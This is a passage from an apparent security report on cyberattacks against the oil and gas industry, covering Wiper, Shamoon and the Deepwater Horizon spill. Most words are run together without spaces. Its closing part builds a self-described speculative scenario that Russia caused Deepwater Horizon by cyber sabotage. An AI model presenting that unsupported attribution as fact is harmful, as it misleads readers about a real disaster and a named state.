Thesereportsalsoallowadversar- iestoseehowtheyweredetectedandcorrectmistakesgoingforward.
Itislikelythatfutureattackswilllackthetypesof unprofessionalmistakesmadeduringthesecampaigns.
Theembeddingofpersonalsignatures(alaUglyGorilla)orthe useofpasswordslikezw.chinawilldiminishsignificantly.
Ifanattackerwishedtobemoreanonymous,itwouldstart totransitiontoopen-sourceandgenerictoolsexclusivelytoolswhicharecommonenoughthattheydonotprovide significantattribution.
ToolsliketheMetasploitframeworkprovideahighdegreeofextensibilitywithoutofferinga 22 significantamountinthewayofattributionbytoolchoice.
Ifnotatransitionlikethis,thenusingtoolsstolenfromother attackersorwritteninotherlanguageswouldcomplicateattribution.
ThemovewithintheInformationTechnologyworld towardmoreforensicallyresistanttechnologiessuchasSSDsandCloudServiceinfrastructureswhichmakeattribution andlegaljurisdictionmuchmoreconvolutedwillcontinuetobeacatalystforfutureattacksalongsideservicesalreadyin uselikeDynamicDNS.
ThesecyberespionageattacksarelikelythenewlyestablishedbaselineforfuturecyberconflictwithintheOil GasIndustry.
Attacksofthisnatureandmagnitudewillcontinuetooriginatefromplaceswhichdonothavelawsagainst itorarecomplicit,includingChinawhichhasaneedtosecureoildominanceinthefuture.
However,increasinginterna- tionalpressurewillnecessitatemorecovertaction,withattackersdispersingtheiroperatorsorproxiesthroughoutlarge geographicareas.
Non-stateactorswilllikelypresentAPTthreatsinthefuture,includingState-backedandindependent competitors.
23 Sabotage Middle East, 2012 Anotherseriesofeventsmaybeconnectedaswell,andwhiletheybearnoimmediatelyapparentrelationship, closerinspectionissuggestiveofthepossibilityofanotherunderlyingandongoingconflict.
Tounderstandthecontextof theexchange,anon-oil-relatedcybereventmustbebrieflydiscussed.
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Arelativelyunprecedentedcyber-attackcameto lightin2010whentheStuxnetvirushittheuraniumenrichmentcentrifugesinIran.
Iranbelievestheattackwascon- ductedbyIsraelortheUnitedStates.
Thisattackhadtargetedtheinformationnetworksofoffshoreplatformshowever theyreportedthattheywereabletodefendagainsttheattack.32IranmayhavethoughtitwasIsraelbecausetheyhad threatenedtotakemilitaryactionifthesanctionsonTehransbankingandoilsectorsdidnotstopIranfromcontinu- ingtheirnuclearprogram.
TheattackstargetedIransinfrastructureandcommunicationscompanies,whichslowedthe InternetinIran.
IsraelandtheUnitedStateshavedeniedbeingapartofthisattack.
ThenInAprilof2012,Iranwasagainthetargetofacyber-attack.
TheIslamicrepublicreportedthatacomputer viruswasdetectedinsidethecontrolsystemsofKhargIsland,whichcontrolsIranscrudeoilexports.33Thisvirusbeganto attackseveralofthemainPersianGulfoilterminalsinIran,whichforcedtheIranianofficialstodisconnectthemfromthe Internettoavoidspreadingthevirus.34Thisvirus,knownasWiper,successfullyerasedinformationfromharddisksatthe OilMinistrysheadquartersinTehran.35Theheadquartershadapparentlybeentheinitialtargetofthevirus.
OilMinistry officialsreportedthattheinternationalsellingdivisionhadnotbeeninfected,butitmanysecurityvulnerabilitieswere exposed.
Iranisoneoftheworldslargestoilproducersandanattackcouldaffectthemarket,andraiseoilpricesglobal- ly.36 AswiththeStuxnetworm,IranblamedIsraelandtheUnitedStatesforthespreadofWiper.
Iranianofficialsbe- lievetheyweretargetedbecauseoftheirgrowingnuclearprogram.37OtheraffectedorganizationsincludetheNational IranianOilProcessingandDistributionCompany,NationalIranianGasCompany,IranianOffshoreOilCompany,ParsOil andGas,andothercompaniescontrolledbytheNationalIranianOilCompany.38Thedestructionofthisdatadoesnt providemuchinthewayofdirectmonetarygainforanycriminalelements.
Therealadvantagegainedbyunleashing WiperistoputpressureonIranbycausingeconomiclossandremindingthemthattheyarevulnerable.
Thepresident oftheTehranWorldTradeCenter,MohammadRezaSabzalipour,believesthecyber-attackwasindeedadirectmessage.
TheaimwastoincreasepressuresothatIranwillcompromiseintheupcomingnucleartalksonMay23,2012.Helater states,Weareinabloodlesswar.
Ifthetalksfail,Irancanexpectmuchmoreofthis39.
32 Erdbrink, T., (2012, April 23).
Facing Cyberattack, Iranian Officials Disconnect Some Oil Terminals From Internet.
The New York Times.
Retrieved from http://www.nytimes.com/2012/04/24/world/middleeast/ iranian-oil-sites-go-offline-amid-cyberattack.html?_r0 33 Reuters.
,(2012,October08).CyberattackerstargetIranianoilplatforms:official.
Reuters.
Retrievedfrom http://www.reuters.com/article/2012/10/08/us-iran-cyber-idUSBRE8970B820121008 34 Ibid 35 Erdbrink, T., (2012, April 23).
Facing Cyberattack, Iranian Officials Disconnect Some Oil Terminals From Internet.
The New York Times.
Retrieved from http://www.nytimes.com/2012/04/24/world/middleeast/ iranian-oil-sites-go-offline-amid-cyberattack.html?_r0 36 Ibid 37 Ibid 38 Ibid 39 Ibid 24 AnoilembargoinconcertwithothereconomicsanctionsbytheUnitedStatesandEUwasannouncedinlate 2011inanefforttodiscourageanyfurtherIraniannuclearactivity.
InMarchof2012,theObamaadministrationan- nouncedthatthemarketcouldwithstandtheembargoofIranianoil,andraisedUS-Irantensionsovertheissue40.Saudi ArabiahadalsoindicatedthatitwouldboostoilexportstotheUSandabroadtocompensateforthevoidthatwouldbe leftbythesanctionsonIran41.Asthefifthlargestoilproducerintheworld,theIranianoilindustryaccountsforabout 20percentofIransGDP42.BoththeembargoandthevirusrepresentseriousanddirectconcernsfortheIraniangovern- ment.
TheninAugustof2012,onlyfourmonthsaftertheembargo,avirusnamedShamoonstruckSaudiArabianoil giantAramco.43TheviruswastriggeredonaMuslimholidaywhenmostofthecompanysemployeeswereabsentfrom work.
ShamoonwasdesignedtoreplacedataonharddriveswithapictureofaburningAmericanflagandreportthead- dressofthecomputerbacktoaseparatecomputerinsidethecompanynetwork.44Thisispotentiallysignificantbecause Aramcoistheworldslargestproducerofoil,andwasoriginallyajointeffortwiththeUnitedStates(ArabianAmerican OilCompany).45,46Additionally,ShamooncontainedafunctioncalledWiperwhichwasresponsibleforthedeletingof files.
ThenameWiperandthesharedfunctionalityofthetwoaresomewhatsuggestive.
Interestingly,apreviously unheardofhacktivistgroupidentifyingthemselvesasTheCuttingSwordofJusticetookcreditfortheattackandnot anationstate.
TheyclaimthevirushasgiventhemaccesstodocumentsonAramcoscomputers,butnonehavebeen publishedyet.47Theattackwasbelievedtohavebeenassistedbyaninsideratthecompany.
Anothernoteofsignifi- canceaboutShamoonisthatthetextArabianGulfwasfoundinthecodewhichispertinentbecauseIranhaszealously guardedthetitleoftheregionasthePersianGulf.48 AlthoughWiperandShamoonshareafewcommoncharacteristics,theyaresignificantlydifferent.
Bothviruseshave beenanalyzedbyKasperskyLabswhohasconcludedthatalthoughShamooncontainsawiperfunctionthatisdesigned tooverwritedata,itisnotaswell-designedasWiperandnotnearasefficient.49Thecarethatwastakenbywhoever madeWipertoinsureitdidasmuchdamageaspossibleintheshortestamountoftimeiswhatdifferentiatesitfrom Shamoonswipingfeature.
Sincewipingadiskwithhundredsofgigabytesofstoragecantakeanextremelylongtime, Wiperwasdesignedtotargetfileswithcertainextensionsorincertainfolderstodoasmuchirreparabledamageasfast aspossible.
KasperskyclaimsthatShamoonwasmerelyacopycatvirusthatwastheworkofscriptkiddiesinspiredby thestory.50TheyalsoclaimthatShamoonwasprobablytheworkofanon-stategroupandthatWiperwasmostlikely 40 Mathews, C., (2012 Mar.
30).
Obama moves forward with Iran sanctions despite oil price spike.
Re- trieved from http://blogs.wsj.com/corruption-currents/2012/03/30/obama-moves-forward-with-iran-sanctions- despite-oil-price-spike/ 41 Flintoff, C., (2012).
Sanctions may squeeze Iranand raise oil prices.
NPR.
Retrieved from http://www.
npr.org/2012/06/30/155993909/sanctions-may-squeeze-iran-and-raise-oil-prices 42 Katzman,K.,(2012Mar.28).Iransanctions.
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Congressional Research Service Report for Congress.
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Congressional Research Service Report for Congress.
Re- trieved from http://fpc.state.gov/documents/organization/187388.pdf 43 Perlroth, N., (2012, Oct. 23).
In cyberattack on Saudi firm, U.S. sees Iran firing back.
The New York Times.
Retrieved from http://www.nytimes.com/2012/10/24/business/global/cyberattack-on-saudi-oil-firm- disquiets-us.html?pagewantedall 44 Ibid 45 Forbes (2012).
The worlds biggest oil companies.
Retrieved from http://www.forbes.com/pictures/ mef45ggld/1-saudi-aramco-12-5-million-barrels-per-day/ 46 Encylopedia Britannica, (2013).
Aramco.
Encyclopedia Britannica.
Retrieved from http://www.britan- nica.com/EBchecked/topic/31594/Aramco 47 Reuters, (2012, Dec. 9).
Aramco says cyberattack was aimed at production.
The New York Times.
Re- trieved from http://www.nytimes.com/2012/12/10/business/global/saudi-aramco-says-hackers-took-aim-at-its- production.html 48 Perlroth, N., (2012, Oct. 23).
In cyberattack on Saudi firm, U.S. sees Iran firing back.
The New York Times.
Retrieved from http://www.nytimes.com/2012/10/24/business/global/cyberattack-on-saudi-oil-firm- disquiets-us.html?pagewantedall 49 GReAT-Kaspersky Labs., (
2012, Aug. 16).
Shamoon the Wiper Copycats at Work.
Securelist.
Retrieved from https://www.securelist.com/en/blog/208193786/Shamoon_the_Wiper_Copycats_at_Work 50 Ibid 25 theproductofanation-state.51EventhoughShamoonwasnotonthesamelevelasWiper,itisstillanimpressivepiece ofmalwarethatwasabletododamagetoimportantsystems.
Whetheritwastheunimpressiveworkofanation-state ortheworkofaskilledgroupofnon-stateactors,itmadeanimpactandhadaneffectonSaudiAramco.
Theseinsightsraisethequestionofwhetherornotthiswasanisolatedattackbyanon-stateactor,orwhetheritwas oneinanongoingseriesofsalvosbetweentheIranandUScybercommunities.
Irancertainlypossessedthemotive retributionforsanctionsleviedagainstit,andthecooperationbySaudiArabia,aSunniMuslimnationwhichhasbeenat oddswithShiiteIranbefore.
Typically,however,inanactofretributiontheattackerinvitesattributionwhichIrandidnot.
Also,despitecausingdestructiveactiontothedataonthecomputers,thevirusdidnotattacktheactualcontrolsystems andasaresultdidnotmanagetodamageoilproduction.
TherelativecrudenessofthecodeanduseofthetermAra- bianGulfinconcertwiththeinsiderknowledgeofthehacktivistgroupTheCuttingSwordofJusticeandtheuseofan Aramcoinsidertofacilitatetheattackcouldsuggestthatitwassimplyasingularattackbyanon-stateactor.
Iransdoctrineisoneofasymmetricandproxywarfare.
IthasbeensuggestedthatIranusedunofficialhackergroups suchastheIranianCyberArmytobothdefendagainstandengageinattacks52.ItispossiblethatArabianGulfwas aredherringintendedtofurtherobscuretheoriginofShamoon.53UsingaproxytolaunchanattackalignswithIrans strategicculturebuttheexactauthorisnotknown.
ItispossiblethatIrandidnotwishtoengageindirectconflict,but intendedtomakethesanctionslessviablebyensuringAramcowouldbeunabletosupplythenecessaryvolumeofoil.
If thiswerethecasethentheattackwouldshowasevereflawinIransunderstandingoftheoilproductionsystemsbynot attackingthecontrolsystems,instead,whichshouldbeunlikelyduetoIransownexpertiseinoilproductionoritmay havebeenintendedtosendamessageadvertisingthecapabilitywhilenotcrossingadirectlinebyinflictingsignificant infrastructuredamage.
This,however,ispurespeculationandnotempiricallyderivedanalysis.
IfIrandidinfactorches- tratetheShamoonattack,itwouldsuggestthattheseriesofattacksonIraniancriticalinfrastructurewerefollowedby retaliationontheAmericanoilsupplychain.
Thiswouldindicateanongoingandescalatingconflictthatshouldbecause forconcern.
51 Ibid 52 Rezvaniyeh, F., (2010, Feb. 26) Pulling the strings of the net: Irans Cyber Army.
PBS.
Retrieved from http://www.pbs.org/wgbh/pages/frontline/tehranbureau/2010/02/pulling-the-strings-of-the-net-irans-cyber- army.html 53 Perlroth, N., (2012, Oct. 23).
In cyberattack on Saudi firm, U.S. sees Iran firing back.
The New York Times.
Retrieved from http://www.nytimes.com/2012/10/24/business/global/cyberattack-on-saudi-oil-firm- disquiets-us.html?pagewantedall 26 An Incident of Note Oneincidentwhichappearsonthelistissingularinthatunliketheothernotedeventsitdoesnotappeartobe theresultofadirectcyber-attack:theDeepwaterHorizonoilspill.
OnApril20th,theculminationofsevereneglectof safetyprotocolsandaslewofdesignandimplementationflawsincurredtheworstenvironmentaldisasterinUShis- tory.54WhiledrillingtheMacondowellintheGulfofMexico,theDeepwaterHorizonoilrighadablowoutinwhichan uncontrolledmixtureofmudandgaswasreleasedafterfailureofpressurecontrolsystems.
Thegasspreadacrosstherig andisbelievedtohavefirstignitedintheengineroom,initiatingseveralexplosionsandcausingtherigtoeventuallybe engulfedinflamesandsink.55ThereasontheDeepwaterHorizoneventappearsonalistofcyber-relatedoilindustry eventsisbecause,regardlessofthecause,theincidenthadseveralfailuresinnetworkedcontrolandsafetysystems whichcouldhavepreventedthecatastrophefromoccurringaftertheblowout.
Theformerchiefelectronicstechnicianontherig,MichaelWilliams,notedduringtestimonybeforeagovern- mentpanelthatthealarmswhichwouldnotifythecrewofagassituationwasplacedinaninhibitedmodeforover ayearbecausetheydidnotwantpeoplewokeupat3oclockinthemorningduetofalsealarms[sic].56Additionally, othermonitoringandcontrolsystemsintermittentlyfroze,andafireandalarmsystemwassettooverrideactive.
De- spiteaseriesoffourtestsconductedinthehoursbeforetheincidenttoascertainthattheintegrityofthewell,noalarms weresoundedorreporteddirectlybeforetheincident.
Thesecontrolissuessolidifytheideathattherewasacyber- componenttothecatastrophe.
Whentakenintothecontextofothereventswhichoccurinandaroundthesametime period,itbecomesclearthatthoughthereisnodirectevidencepointingtoamalignthreatactorsinvolvement,suchan attackistechnicallyviable.
Itisincrediblyunlikelythatanystateornon-stateactorwasinvolvedinanattackontheDeepwaterHorizon howeverthecircumstancesprecludetheexclusionofthispossibility,remotethoughitmaybe.
TheBlowoutPreventer (BOP)wasrecoveredandforensicallyexamined,butmostotherevidencecannotbeexaminedithaseitherceasedto existorisinaccessible.
Thedestructivenatureoftheaccidentandtheapparentcorporateneglectmakescollectingany cyber-forensicevidencelinkingtheincidenttoanactorinfeasible.
Mostevidenceisdestroyed,unusable,orlargelyinac- cessibleatthebottomoftheocean.
Itislikelythatanycontrolsystemauditreportsorlogscapableofprovidinginsight eitherwouldnothaveattributedanomalousactivitytoanunidentifiedAPT,orwouldnotbecomprehensiveenoughto provideevidencethatcouldretroactivelysuggestanAPT.Theauditlogsthemselvesaredubiousduetoallegationsthat TransoceanandBPwerehastilyrushingproceduresbecauseoflargeschedulingoverruns.57Furtherallegationshave surfacedagainstBPemployeesandcontractorsaccusingthemofdestroyingevidenceinthewakeofthedisaster.58Bear- inginmindthatthereisnodirectorforensicallysoundevidenceandthatonlycircumstantialevidenceisavailable,the vignettewhichwillnowbeexploredistheusecaseoftheDeepwaterHorizonincidentasacyber-attack.
SeveraleventsthathaveoccurredbothbeforeandsincetheBPoilspillsuggestthatanattackwouldbetechni- callyfeasible.
AccordingtoanarticleattributedtoDorothyE.Denning,aprofessorofcomputerscienceatGeorgetown University,in1992adisgruntledformeremployeeofChevronintentionallydisabledalarmsystemsatChevronsoilrefin- eriesfor10hoursbyhackingintocomputersinNewYorkandSanJos,California.59Whilethisonlyaffectedon-shore refineriesandisdatedenoughthattechnicalcontrolsmayhaveimprovedsincethen,anotherattackin2009showedthat controlsystemsonoff-shorerigsmaybealsodisabledremotely.
MarioAzar,adisgruntledcontractorformerlyworking forPacificEnergyResources,sabotagedanoffshoreoilrigcomputersystemthatPERusedtocommunicatebetweenits 54 (DavidBarstow,2010) 55 (HowtheRigCrewRespondedtotheBlowout,2010) 56 (InvestigationofDeepwarerHorizonExplosion,MikeWilliams,2010) 57 (Drilling,2011) 58 (Affairs,2012) 59 (Denning,2000) 27 officesanditsoilplatforms.
ThecomputersystemalsoservedaleakdetectionfunctionforPER.60Thesystemswere disabledfromMay8thuntilJune29thbeforeitwasnoticed.61AndasrecentlyasFebruary23rd2013anarticleinthe HustonChroniclestatedthatMalicioussoftwareunintentionallydownloadedbyoffshoreoilworkershasincapacitated computernetworksonsomerigsandplatforms,exposinggapsinsecuritythatcouldposeseriousriskstopeopleandthe environment.62 Thesearticleswouldseemtostatethatacyber-attackonanoff-shorerigisnotonlypossible,butareality.
ComplicatedcontrolsystemattackssuchasStuxnethavealreadyproventhateveninconditionswherenetworkaccess isunavailable,intelligentvirusescanstillperformapredeterminedfunctionatadesignatedtime.
Byextensionofthese occurances,itmaybeconcludedthatacapableattackercouldmanipulatesafetycontrolsystemsofanoilrigfromshore, anddosothroughasophisticatedcontrolsystemviruswhichcanoperateevenwhennotincontactwithaC2server.
IfitisassumedthatDeepwaterHorizonwasanattack,itgivesrisetothequestionofattribution.
Inorderto attributeanattackforwhichthereisnodirectorforensicevidence,onemustinsteadturntopoliticalattribution.
This includesconsideringwhichactorshadthemotive,means,andtheopportunitytoperformtheattack.
Motivescanin partbedivinedthroughobservationofthedirectandindirectoutcomesoftheeventanditsbeneficiaries.
Afternarrow- ingthescopeofactors,onemaythenexaminethepolicies,strategicculture,operations,andtacticsofrelevantactors againstdifferentdimensionsoftheeventtorevealalignmentorcorrelation.
ImmediateanddirectimpactsoftheDeepwaterHorizonoilspillwereasfollows: AmoratoriumonanydrillingintheGulfofMexicofortheensuing6months TheMacondowellbecomingunusable,atleastintheimmediate EcologicaldisasterintheUnitedStatesandotherGoMadjacentcountries Heavypoliticaldamage,fines,andchargesleviedagainstbothBPandcontractorssuchasTransocean, Ltd. BPhasbeenbyfarthebiggestfigureattachedtotheincident.
AsofMarch2013BPhasbeenforcedtospendor provision40BillionasaresultofDeepwaterHorizon.63Toputthisinperspective,BPscombinedprofitsfortheyearsof 2010-2012amounttoabout34.6billion.64 Theseimpactsinandofthemselvesarenotable,buttheyalsocreatedarippleeffectofindirectconsequencesas well.
Theseindirectoutcomesincludethepossiblefluctuationinoilandgaspricesandpotentialforgeopoliticalfallout fromtheecologicaldisaster.
Additionallythough,andperhapsmostsignificantly,in2011BPannounceda38billion assetdivestmentprograminordertocoverthecostsoftheenormousfinesincurredbytheDeepwaterHorizonspill.65 So whatdidBPdivest,andtowhom?
60 (Mrozek,2009) 61 (UnitedStatesofAmericav.
MarioAzar,2009) 62 (Shauk,2013) 63 (Williams,2013) 64 (BP,2012,p.34) 65 (BP,FinancialandOperatingInformation2007-2011,2011,p.3) 28 ThisdatawouldsuggestthatoneofthemainbeneficiariesoftheoilspillisRosneft,astate-ownedoilcompany belongingtoastateactorwhichpossessesbothacyber-capabilityandvestedinterestintheoilindustry.
Itistheonly oneofthetopfiveoilproducingcountriesyettobementioned:theRussianFederation.
InJulyof2012Forbesreleased anarticleontheWorldslargestoilcompanies.
Whatwasnotableaboutthearticlewasthisquote:Butwhensorting throughtherankingsoftheWorlds25BiggestOilCompaniesandlookingatwhocontrolsandinfluencesthebiggestof bigoilonethingbecomesclear:noindustryleaderhasmoresway,hastwistedmorearmsormademoredealsthanRus- sianPresidentVladimirPutin.
ThearticlegoesontopointouttheRussianPresidentspastuseofGazpromthestate- runoilgiantandsecondlargestproducerintheworldasapoliticaltoolandhisvastinfluenceoverothernon-Russian oilcompanies.
Russia,anacknowledgedforceincyberandthesecondlargestexporterofoilintheworld,ismarkedly absentinthelastdecadefromthemastertimelineeitherasanaggressororasatarget,barringofafewleakedemails bytheAnonymoushackinggroup.
Thisappearsaberrant,evendespitethepossiblelanguagebarriermentionedatthe beginningofthisreportorRussiastightlycontrolleddisseminationofinformation.
WhileclearlytheRussianFederationwasthelargestbeneficiaryofBPspost-spilldivestmentsandalsobenefited fromahaltinGulfofMexicooilproduction,thequestionthatremainsiswhetherornotthepossibleacquisitionofTNK- BP(whichwouldbedifficulttopredict)ismotivationenoughtoengageinariskyenterprisesuchasacyber-attackthat resultsinakineticoutcomeparticularlywhenweighedagainstthepossibilityofdirectattributionthatcouldhavefar reachingimplicationstorelationswithboththeUKandtheUS.Ifthesebenefitsalonearenotenough,thenwhatother motivatorsexistedwhich,inconcert,wouldhavebeencauseforRussiatolaunchacyber-attackonaUKcompanyoper- atingintheGulfofMexico?Inordertoproperlyanswerthesequestionsmanyfactorsneedtobeexamined,including: theextentofBP-RussianrelationsleadinguptoandbeyondtheDeepwaterHorizonincident Geopoliticalconsiderationsofthetime Anycompetitioninmarket-sharebetweenBPandRussianstate-controlledoilcompanies Russiasoverallrelationtoanddependenceontheoilindustry Russiasstrategicgoalsatthetime Ahigh-levelunderstandingoftheRussianapproachtocyberwarfare 2010 2011 2012 2013 Deepwater Horizon Spill BP Asset Divestment Program 2010-2013 Anadarko Petroleum Corp SOCAR TAQA Plains Exploration Production Rosneft Apache Corp Ecopetrol Talisman Marubeni Group United Energy Group Tesoro Corp Sold To Upstream Assets Downstream Assets Countries with BP presence as of 2012 Key 29 AninterestingrelationshipbetweenRussiaandBPhasunfoldedoverthepastdecade,revealingaseriesof exchangesthathighlightatenuousco-existence.
Thefigurebelowdisplaysthisindetail,alignedwithgeopoliticalevents.
Theexchangebeginsin2006whentheRussianstate-rungascompanyRosneftwentpublicontheLondonstockex- changeandBPpurchased1billioninshares.
Thisisaseeminglystraightforwardstrategicpartneringhoweverthere wasspeculationthatBPwaspressuredintoinvestinginordertosecurefutureoilexplorationrightsforitsownRus- sianjoint TNK-BP.66RobertAmsterdam,alayerfortheformerheadofYukos(anoilcompanyabsorbedbyRosneft), wasquotedassayingthatBPhasagunheldtoitshead.67TheninJune2007,TheRussiangovernmentpressuresBP toselloneoftheworldslargestnaturalgasfieldstostate-runGazpromorlosethelicensetodevelopit.682008pre- sentedperhapstheheightoftensionswhenarmedpoliceraidedBP-TNKsMoscowoffices69inwhatappearedtobean efforttointimidateshareholders.
ThiscameontheheelsofspeculationthatRussiawishedtobuyoutthesharehold- ersofTNK-BPaspartofitscampaigntotightencontrolofthecountrysenergyassets.70Inarelatedvein,theBP-TNK CEOwasforcedtoleavethecountryafterRussianauthoritiesrefusedtorenewhisvisa.71Alsoin2008,animportant BPincidentwhichdidnotappeartodirectlyinvolveRussiaoccurred.
OffthecoastofAzerbaijanattheCentralAzeri platformintheCaspianSea,oneofBPsoff-shorerigssufferedablowoutnearlyidenticaltothatoftheDeepwater Horizon.
Thegasdidnotignite,andnoonewaskilled,howeveritdidcostaround50Millionadayinlossesforthe Azerigovernment.
BPpurposefullykeptalldetailsoftheincidentunderclosewrapsvergingonacover-up.
Thenthe DeepwaterHorizoneventoccursin2010,followedbythesaleofTNK-BPtoRussianstate-runRosneftin2012aspart oftheassetdivestmentprograminitiatedtopayforthespill.
Inthatdeal,BPalsopurchasedsharesinRosneft,upping theirstakefrom1.25to20andreceivingtwoseatsontheboardofdirectors,includingonewhichwasawardedto BPscurrentCEORobertDudleythesamegentlemanwhowasforcedtofleein2008overanun-renewedvisa.
How- ever,accordingtoaReutersarticlepublishedonMarch4thofthisyearasastateappointee,Dudleywouldhaveto votebygovernmentdirectiveonmajorissues,suchaslargedealsandkeyappointments.72Thisremarkisincontrast toanotherindividualwhohadbeennominatedasanindependentandassuchcandecideforhimselfhowtovote.73 66 (Kennedy,2006) 67 Ibid.
68 (Kramer,2007) 69 (Hodgson,2008) 70 Ibid.
71 (Webb,2008) 72 http://uk.reuters.com/article/2013/03/04/uk-bp-rosneft-idUKBRE92310W20130304?feedType3DRSS 26feedName3DbusinessNews 73 Ibid.
30 TheseRussia-BPrelationscoincidewithanamalgamofgeopoliticaleventsnotdirectlyrelatedtoBP,butoffering supportingcontextforeventualconclusionsdrawnabouttheDeepwaterHorizonoilspill.
Followingthecollapseofthe SovietUnionin1991,manyofthestateownedoilandgasassetsweresoldatsignificantlydiscountedvaluestoprivate individualscreatinganeconomicvoidforafragilenewcountryalreadyplaguedbymonetaryissuesinothersectors.
Russiafalteredeconomicallyformostofthe1990suntilVladimirPutinwaselectedPresidentin2000underabannerof plannedeconomicprosperity.
Putinisaninterestingfigure,andhasplayedprominentlyinRussiasreturntotheworld stage.
AformerKGBmember,PutinhassoughttheconsolidationandreclaimofcriticalsectorsoftheRussianeconomy, mostnotablytheenergysector.
Usingstrong-armtacticsandpoliticalpressure,hehassetthetoneforRussiasfuture policy.
In2006,RussiatemporarilyturnedoffthegasitwassupplyingtotheUkraine,incitingconflictandunrestwith otherEuropeancountries.
Themovewascastasanovertattempttoregulatenaturalresourcepricesforamarketin whichRussiacontrolsproductionandreapsprofitsfromacustomerbasewithlimitedalternatesupply.
Russiausedthe tacticagainin2009,shuttingoffgassuppliesfortwoweekstoUkrainianNaftogazostensiblybecauseofadisputeover contracttermswhichhadbeennegotiatedin2002regardingtheappropriationofgasbyNaftogas.
Theordealwasonly resolvedafterUkrainesPrimeMinistersatdownwithVladimirPutinandrenegotiatedanewcontractforRussiangas,for whichshelaterreceiveda7yearsentenceonchargesofabuseofpower.
TheseeventsservetohighlighttheimportanceRussiaplacesontheenergysectorasbothavitalportionofits economyandapotentpoliticaltool.
TheRussianeconomyisheavilydependentontheoilgasindustries,with62.7of itseconomybeingservicebasedindustriesin2010.74ManyeconomistshavepointedtooilandgaspricesastheAchil- lesheeloftheRussianeconomy.757677Thiswasmadeevidentin2008whenoilpricesplummeted(asseeninthefigure below),sendingtheRussianeconomyspiralingintoarecession.
Priceshitalowin2009,oneyearbeforeDeepwater HorizonandatatimewhenreportswerealsostatingthattheoveralloutputofRussianoilfor2010wasprojectedto decline.78Thisstagnationintheeconomycombinedwithfutureprojectionsofslowedoilproductionpresentedahuge threattoRussia,anditislikelythatthissentimentresonatedwithRussianauthorities.
AspointedoutbyaForbescolum- nist,asustaineddropinoilpriceslikethatin2008wouldmeanpossiblecivilunrestandpoliticalinstabilityoilandgas havethatmagnitudeofeffect.79 ThisresonancemayperhapsbeseenintheRussianNationalSecurityStrategyto2020publishedinMayof 2009.ThedocumentoutlinesapathforRussiatocontinuetoregainprominentglobalpower,andwithinitthereare severalpointswhichlendcredencetoastrategicviewofoilandgasresources.
Thedocumentstatesthatthelonger- termfocusofinternationalpoliticswillconcentrateonthepossessionofenergyresources,notablyintheMiddleEast,on theBarentsSeashelfandotherareasoftheArctic,intheCaspianSeaBasin,andinCentralAsia.80Thesamepublication 74 CIA Factbook 2012 75 http://www.forbes.com/sites/kenrapoza/2012/04/03/oil-a-problem-for-russian-economy-official-says/ 76 http://www.ssb.no/a/publikasjoner/pdf/DP/dp617.pdf 77 http://oilprice.com/Energy/Crude-Oil/Putin-Plays-Down-Russias-Deadly-Dependence-on-Oil-Gas- Revenues.html 78 http://www.reuters.com/article/2009/10/14/russia-oil-production-idUSLE70186320091014 79 http://www.forbes.com/sites/markadomanis/2012/12/01/russia-and-oil-a-recipe-for-preservation-of- the-status-quo/ 80 Thomas, T. (2011).
Recasting the Red Star.
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data/reports_final/0157.txt
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Fort Leavenworth: Foreign Military Studies Office.
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p.87.
31 alsostatesthatthecompetitivesearchforresourcesdoesnotexcludetheuseofforce.81Forceinthiscasedoesnot necessarilyindicateamilitarykineticaction,butexertionofbothsoftandhardpoweracrossalldomains,includingcyber.
Whatfollowsisapurelyspeculativenarrativeofonepossibleattackscenario,intendedtohighlightelementsof RussiandoctrinewhichalignwithaspectsoftheBPoilspill.
Itwillalsoincludetechniquesandtoolswhichprovidefunc- tionalitythatmakessuchanattackfeasible.
Soitispossiblethataftertheoilpricecrashin2008,Russianofficialssawthedangertosocialandpoliticalstabil- ityinthecountry.
ForecastsforRussianoiloutputaround2009alsosuggestedthatnotonlywerepricesdropping,but overallproductionwouldaswell,envisagingthespecteroffutureunrestandhardship.
Realizingthestrategicimportance ofoilandthesuccesstheyhadgarneredwithpreviousmarkethalts,theyneededawaytoeitherartificiallyinflateoil prices,increasedemandforRussianoil,orincreaseoiloutput.
Itisworthnotingthatpriceofnaturalgas(anotherhuge componentoftheRussianeconomy)isinextricablylinkedtooilpricesinmostofEuropeduringthisperiodbecausegas isprice-indexedagainstoil.
UnlikethenaturalgasincidentswhereRussiawasabletousestate-controlledGazpromto haltgasleavingthecountry,asizeableportionoftheoilleavingthecountrywasfromprivatizedcompanies.
Itwouldbe difficulttoovertlypreventthemfromexportingwithoutsignificantbacklashfrominternationalcommunities(suchasthe WorldTradeOrganizationwheretheyhadbeenseekingentryforsometime),soactionwouldneedtobemorecovert.
OneofthelargestoftheseprivateoilfirmswasTNK-BP,whichRussianauthoritieshadalreadyattemptedtostrong-arm intogovernmentcontrolastheyhaddonewithothersmalleroilcompanieslikeYukos.
Theothermainexporterofoilto WesternEuropeatthistimewasBPplc,the50ownerofTNK-BP.Therefore,controlofTNK-BPwouldbothincreaseoil revenuesandstate-output,andsimultaneouslydecreaseaprimecompetitorsoveralloutput.
Itwouldalsogivethema largerpoliticalweaponthatcouldbeusedasabargainingchiportomeettheaforementionedgoalofpricecontrol.
How- ever,BPhadprovenrecalcitrantanddefiantaboutrelinquishingTNK-BPinspiteofthepressureswhichhadalreadybeen applied.
ApastrockyrelationshipwithBPcombinedwiththeirrecentsafetyfailuresandcover-upintheCaspianSeaalso madethemaviabletarget.
Iftheycouldnotbemotivatedbyconventionalmeans,thenRussiawouldhavetoreverttoforceaspointedout earlierintheirNationalSecurityStrategyto2020(thecompetitivesearchforresourcesdoesnotexcludetheuseof force).Sabotagecouldbeaviableoption,howeveritwouldhavetobeonalargeenoughscalethatBPwouldbeput intoapositionwheretheywouldfoldtoRussianinterestsundertheadditionalpressure.
Whileanon-shoreexplosion wouldcausesomedelaysinproductionandpotentiallossoflifeleadingtolitigation,off-shoredestructionwouldhave thepotentialtobesignificantlymoredamagingpublicly,couldalsoincludelossoflife,andwouldincursignificantenvi- ronmentalfinesinadditiontosafetyfines.
ThequestionwouldthenbewheretostrikeBPholdingsintheCaspianSeawouldbetoodangerousasanyfail- urescouldeasilyimplicateRussiaandanysuccesscouldcausecollateraldamagetoRussianoilassetsandcoastalregions.
TheNorthSeawouldbeapotentiallyviablecandidatewithmultiplecountriesbeingaffectedresultinginmoreeconomic impactonBP,howeverthecurrentsaresuchthatcollateraldamagecouldoccurtootherareasthatRussiaidentifiedas vitalfieldsofcompetition,namelytheBarentsSea.
BPsothermajordevelopmentswereinrelativelynewfieldsinthe GulfofMexico(GoM)whereBPplannedtoinvestheavily.
